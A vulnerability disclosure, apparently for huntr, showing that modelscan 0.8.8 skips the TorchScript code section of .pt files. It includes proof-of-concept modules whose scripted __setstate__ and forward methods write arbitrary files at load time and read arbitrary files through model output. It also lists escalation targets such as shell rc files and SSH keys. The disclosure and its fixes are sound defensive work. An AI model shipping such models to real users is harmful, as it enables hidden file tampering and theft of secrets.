# modelscan misses TorchScript code-section file I/O: scripted `__setstate__`/`forward` perform arbitrary file write at `torch.jit.load()` and arbitrary file read/exfil, while modelscan reports 0 issues ## Target / scope - **huntr "Affected" dropdown:** `protectai/modelscan` - **Affected tool / version:** modelscan **0.8.8** (latest at time of writing; the affected code path is unchanged on `main`). Reproduced with PyTorch 2.12.0. - **Vulnerability class:** Scanner bypass (detection gap) leading to **arbitrary file write** (at model-load time, pre-inference) and **arbitrary file read / exfiltration**. - **Format:** PyTorch **TorchScript** `.pt` (zip-format produced by `torch.jit.save`). `.pt`/`.pth`/`.ckpt`/`.bin` are all routed identically by modelscan. ## Severity (honest) **Medium–High; dollar tier: up to ~$1,500 (pickle/PyTorch-family ceiling).** modelscan's own threat model is *"detect unsafe code in a model so you can refuse to load it."* This finding defeats that for the entire TorchScript surface: a model that is malicious by inspection passes with **0 issues**, and merely calling `torch.jit.load()` on it — the exact action the scanner exists to gate — already writes an attacker-controlled file to an attacker-controlled absolute path. I am being deliberately precise about impact tiering: - **Confirmed primitives (demonstrated below):** - Scanner bypass — `modelscan` returns `total_issues: 0` on an obviously-malicious model. - **Arbitrary file WRITE at `torch.jit.load()` time** (via scripted `__setstate__`), to any absolute path the loading process can write (PoC writes to the OS temp dir, outside the model directory). - **Arbitrary file WRITE at first inference** (via scripted `forward`). - **Arbitrary file READ / exfiltration** (via `aten::from_file`): the bytes of any file the process can read become the model's normal output tensor. - **Not directly demonstrated (so not claimed as proven):** turnkey RCE. The load-time arbitrary file write is a textbook RCE primitive (overwrite `~/.bashrc`, a Python file already on the import path, a crontab, an `authorized_keys`, a CI artifact, etc.), but I am not shipping a write-to-startup chain here, so I rank this as **file-access**, not **RCE**, per honest convention. RCE > file-access > DoS; this sits at file-access with a credible escalation path. `.pt`/TorchScript is in the pickle/PyTorch family, so I peg the realistic bounty ceiling at **~$1,500**, not the $4k tier reserved for `.joblib`/`.keras`/`.gguf`/`.safetensors`/TF-SavedModel. ## Summary modelscan treats a `.pt` as a generic zip: it unzips it and dispatches each **inner member** to a scanner **by file extension**. The only members that get scanned are the inner *pickle* streams (`data.pkl`, `constants.pkl`). The **executable TorchScript code section** — `code/__torch__/.py`, the compiled TorchScript IR that actually runs on load and inference — is given **no scanner** and is reported as `SCAN_NOT_SUPPORTED`. An attacker therefore puts nothing dangerous in the pickle streams (so the pickle scanner is happy) and instead authors the malicious behavior in scripted methods. TorchScript exposes file-I/O builtins that compile straight into the IR: - `torch.save(obj, path)` → **`aten::save`** → arbitrary file **write** - `torch.from_file(path, ...)` → **`aten::from_file`** → arbitrary file **read** `__setstate__` runs during `torch.jit.load()` (before any inference), and `forward` runs on first inference. Both are invisible to modelscan. ## Root cause (file:line) modelscan 0.8.8, installed tree paths shown. 1. **The PyTorch scanner deliberately abandons every modern (zip) `.pt`.** `modelscan/scanners/pickle/scan.py`, `PyTorchUnsafeOpScan.scan`: ```python # lines 27-29 if _is_zipfile(model.get_source(), model.get_stream()): return None ``` `torch.jit.save` always emits a zip (PK\x03\x04), so `_is_zipfile` is `True` and the PyTorch scanner returns `None` for the container — it never disassembles the model as a unit, so it never sees the TorchScript IR. 2. **The container is then unzipped and members are re-dispatched by extension.** `modelscan/modelscan.py`, `ModelScan._iterate_models` (lines 94-112): for a zip, modelscan iterates `zip.namelist()` and yields each inner file as its own `Model`, keyed by its name/suffix. 3. **Extension → format mapping assigns a format only to known extensions.** `modelscan/middlewares/format_via_extension.py` (lines 8-15) maps suffix → format using `DEFAULT_SETTINGS["middlewares"][...]["formats"]` in `modelscan/settings.py` (lines 75-93). The inner members are: - `…/data.pkl`, `…/constants.pkl` → suffix `.pkl` → **PICKLE** → scanned by `scan_pickle_bytes`. - `…/code/__torch__/.py` → suffix `.py` → **no format** → no scanner. - `…/data/0`, `…/version`, `…/byteorder` → no recognized suffix → no scanner. 4. **Members with no format match no scanner and are silently skipped.** `modelscan/modelscan.py`, `_scan_source` (lines 209-219): if no scanner claimed the member, it is appended to `skipped` as `SkipCategories.SCAN_NOT_SUPPORTED`. The dangerous `code/__torch__/.py` lands here. **Net:** there is no code path in modelscan that ever parses TorchScript IR. The pickle allowlist in `settings.py` (`unsafe_globals`) is irrelevant because the attack uses zero pickle reduce gadgets — it uses TorchScript builtins (`aten::save` / `aten::from_file`) that live in the code section the scanner refuses to read. ## Proof of Concept ### Build (what the attacker ships) The attacker authors a normal `torch.nn.Module` whose scripted methods call the file-I/O builtins, then `torch.jit.save` it. The malicious calls compile into `code/__torch__/.py` inside the `.pt`. Minimal source (`evil_mod_template.py`, paths baked in as string literals — TorchScript cannot close over Python globals): ```python class Evil(torch.nn.Module): def __init__(self): super().__init__() self.w = torch.nn.Parameter(torch.zeros(1)) @torch.jit.export def __setstate__(self, state): # type: (Tuple[Tensor, bool]) -> None # *** Executes at torch.jit.load() time *** self.w = state[0] self.training = state[1] torch.save(self.w, "") # -> aten::save (arbitrary WRITE) def forward(self, x): # *** Executes at first inference *** torch.save(x, "") # -> aten::save (arbitrary WRITE) return x + self.w ``` Read primitive (`evil_read_template.py`): ```python def forward(self, n): # type: (int) -> Tensor return torch.from_file("", False, n, dtype=torch.uint8) # arbitrary READ ``` ### Compiled TorchScript IR that modelscan never reads `malicious_write.pt` → `code/__torch__/evil_mod.py` (dumped from the zip): ``` def forward(self, x: Tensor) -> Tensor: _0 = "…/PWNED_AT_INFERENCE.bin" torch.save(x, _0) w = self.w return torch.add(x, w) def __setstate__(self, state: Tuple[Tensor, bool]) -> NoneType: _1 = "…/PWNED_AT_LOAD.bin" self.w = (state)[0] self.training = (state)[1] w = self.w torch.save(w, _1) return None ``` ### Assertions and captured output Run on Windows with the same loader/scanner versions (`reproduce.py` uses portable `/tmp` + `/etc/passwd` targets on Linux, falling back to a temp dir on Windows). All five assertions pass: ``` === TorchScript code section modelscan does NOT scan: malicious_write/code/__torch__/evil_mod.py === def forward(self, x: Tensor) -> Tensor: _0 = "…/PWNED_AT_INFERENCE.bin" torch.save(x, _0) ... def __setstate__(self, state: Tuple[Tensor, bool]) -> NoneType: _1 = "…/PWNED_AT_LOAD.bin" ... torch.save(w, _1) [1] modelscan scan of malicious_write.pt modelscan total_issues : 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0} modelscan scanned_files: ['malicious_write.pt:malicious_write\\data.pkl', 'malicious_write.pt:malicious_write\\constants.pkl'] >>> modelscan reports CLEAN (0 issues): True [2] torch.jit.load(malicious_write.pt) -> triggers __setstate__ >>> LOAD-TIME arbitrary file write at …/PWNED_AT_LOAD.bin : True (1180 bytes) [3] first inference -> triggers forward() >>> INFERENCE-TIME arbitrary file write at …/PWNED_AT_INFERENCE.bin : True (1180 bytes) [4] arbitrary file READ via malicious_read.pt (aten::from_file) modelscan total_issues : 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0} target read : …/SECRET_FILE.txt recovered (head): 'TOP-SECRET-CONTENTS-1234567890' >>> file contents exfiltrated through model output: True VERDICT { "modelscan_clean_write_model": true, "modelscan_clean_read_model": true, "load_time_file_write": true, "inference_time_file_write": true, "arbitrary_file_read_exfil": true } PoC SUCCESS (scanner bypass + file write + file read): True ``` A second variant (`run_traversal_poc.py`) confirms the write lands **outside the model directory**, in the OS temp dir (`%TEMP%` / `/tmp`), proving the path is fully attacker-controlled and not confined to the unpack location: ``` target (outside model dir): …/Temp/MODELSCAN_BYPASS_PWNED.bin modelscan total_issues: 0 {'LOW': 0, 'MEDIUM': 0, 'HIGH': 0, 'CRITICAL': 0} file written to OS temp at load time: True size: 1180 SUCCESS: True ``` ### One-command reproduction ``` python reproduce.py ``` Self-contained: builds the models, prints the un-scanned IR, runs modelscan, loads the model, and asserts scanner-bypass + load-time write + inference write + file-read exfil. Exit 0 == confirmed. No network. ## Impact / realistic threat model modelscan is positioned as the gate you run on a third-party model **before** loading it (Hugging Face download, model registry, supply-chain artifact). A defender who scans a TorchScript `.pt`, sees `0 issues`, and proceeds to `torch.jit.load()` it gets: 1. **Pre-inference arbitrary file write** to an absolute attacker-chosen path, in the loader's user/security context, the instant they call `torch.jit.load()`. No inference required. This is the standard stepping-stone to code execution (overwrite a file already on `PYTHONPATH`/`sys.path`, a shell rc file, a unit/cron file, CI build output, etc.). 2. **Arbitrary file read / exfiltration**: any file the process can read (`/etc/passwd`, cloud-credential files, `.env`, SSH keys, other models/datasets) is returned as the model's normal output tensor — exfiltration that looks exactly like ordinary inference output and triggers nothing in modelscan. Because the trigger is `torch.jit.load()` itself, "scan, then load if clean" — the workflow modelscan is built to enable — is precisely the workflow this defeats. ## Honest duplication / novelty / scope note - **Scope:** `protectai/modelscan` is a maintained ProtectAI project and is the canonical target for this class on huntr (TF `ReadFile`/`WriteFile` op-detection and pickle-gadget reports against modelscan have been accepted historically). The affected tool here is unambiguously **modelscan**, not `modelaudit`/`picklescan`, and the format is genuine first-class **PyTorch TorchScript `.pt`**, not an exotic format (`tensorizer`/`ggml`/`orbax`). I therefore do **not** flag a scope concern — this is squarely in modelscan's stated coverage (it explicitly claims PyTorch support and ships a `PyTorchUnsafeOpScan`). The novelty is that the PyTorch scanner self-disables on every zip-format `.pt` and nothing inspects the TorchScript IR. - **Relationship to known issues:** modelscan's PyTorch support targets the *legacy/pickle* representation and the TF `ReadFile`/`WriteFile` ops (see `settings.py` `unsafe_tf_operators`). There is **no** TorchScript IR analyzer. The class "pickle/TF op detection misses X" is known, but the specific bypass — *the PyTorch scanner returns `None` on all zip `.pt`, and the TorchScript code section is dispatched to no scanner, so `aten::save`/`aten::from_file` in `__setstate__`/`forward` are never seen* — is the concrete, reproducible gap reported here. The maintainer should confirm against their internal dedup, but I found no public advisory or issue describing the `aten::save`/`aten::from_file` TorchScript-IR primitive against modelscan. - **Not claimed:** I do not claim RCE was demonstrated. The demonstrated impact is scanner-bypass + arbitrary file write (load-time) + arbitrary file read. ## Remediation The root issue is that **no component parses the TorchScript code section**. Options, strongest first: 1. **Scan the TorchScript IR.** When an inner member matches `code/__torch__/**/*.py` (or, better, when `PyTorchUnsafeOpScan` detects a `torch.jit` archive — presence of a `code/` dir / `constants.pkl`), disassemble the IR and flag a denylist of dangerous builtins/ops, at minimum: `aten::save`, `aten::from_file`, `prim::PythonOp`/`prim::CallFunction` into unsafe targets, and any op that performs file/network/process I/O. Mirror the existing `unsafe_tf_operators` approach but for ATen ops. 2. **Stop silently skipping the code section.** `_scan_source` should not emit a quiet `SCAN_NOT_SUPPORTED` for `code/__torch__/*.py` inside a recognized PyTorch zip; an un-scannable executable code section in a model that the tool claims to support should be surfaced as at least a **warning/HIGH "unscanned executable code"** issue, so `0 issues` is never returned for a TorchScript model the scanner cannot actually vet. 3. **Don't let `PyTorchUnsafeOpScan` return `None` on zip `.pt`.** The early `return None` at `pickle/scan.py:28` means the PyTorch scanner contributes nothing for every modern `.pt`. It should instead route zip `.pt` into a TorchScript-aware analyzer rather than relying solely on per-member extension dispatch. A defense-in-depth note for users (not a fix for the tool): treat `torch.jit.load()` of untrusted models as code execution regardless of scanner output. ## Files in this submission - `reproduce.py` — single self-contained reviewer script (portable `/tmp` + `/etc/passwd` on Linux; temp-dir fallback elsewhere). Exit 0 on success. - `build_malicious.py`, `evil_mod_template.py`, `evil_read_template.py`, `evil_traversal_template.py` — minimal attacker-side builders/source. - `run_poc.py`, `run_read_poc.py`, `run_traversal_poc.py` — the three decisive PoCs (write+bypass / read+exfil / write-outside-model-dir). - `malicious_write.pt`, `malicious_read.pt` — sample malicious TorchScript models (benign payload: writes small marker files / reads a chosen file).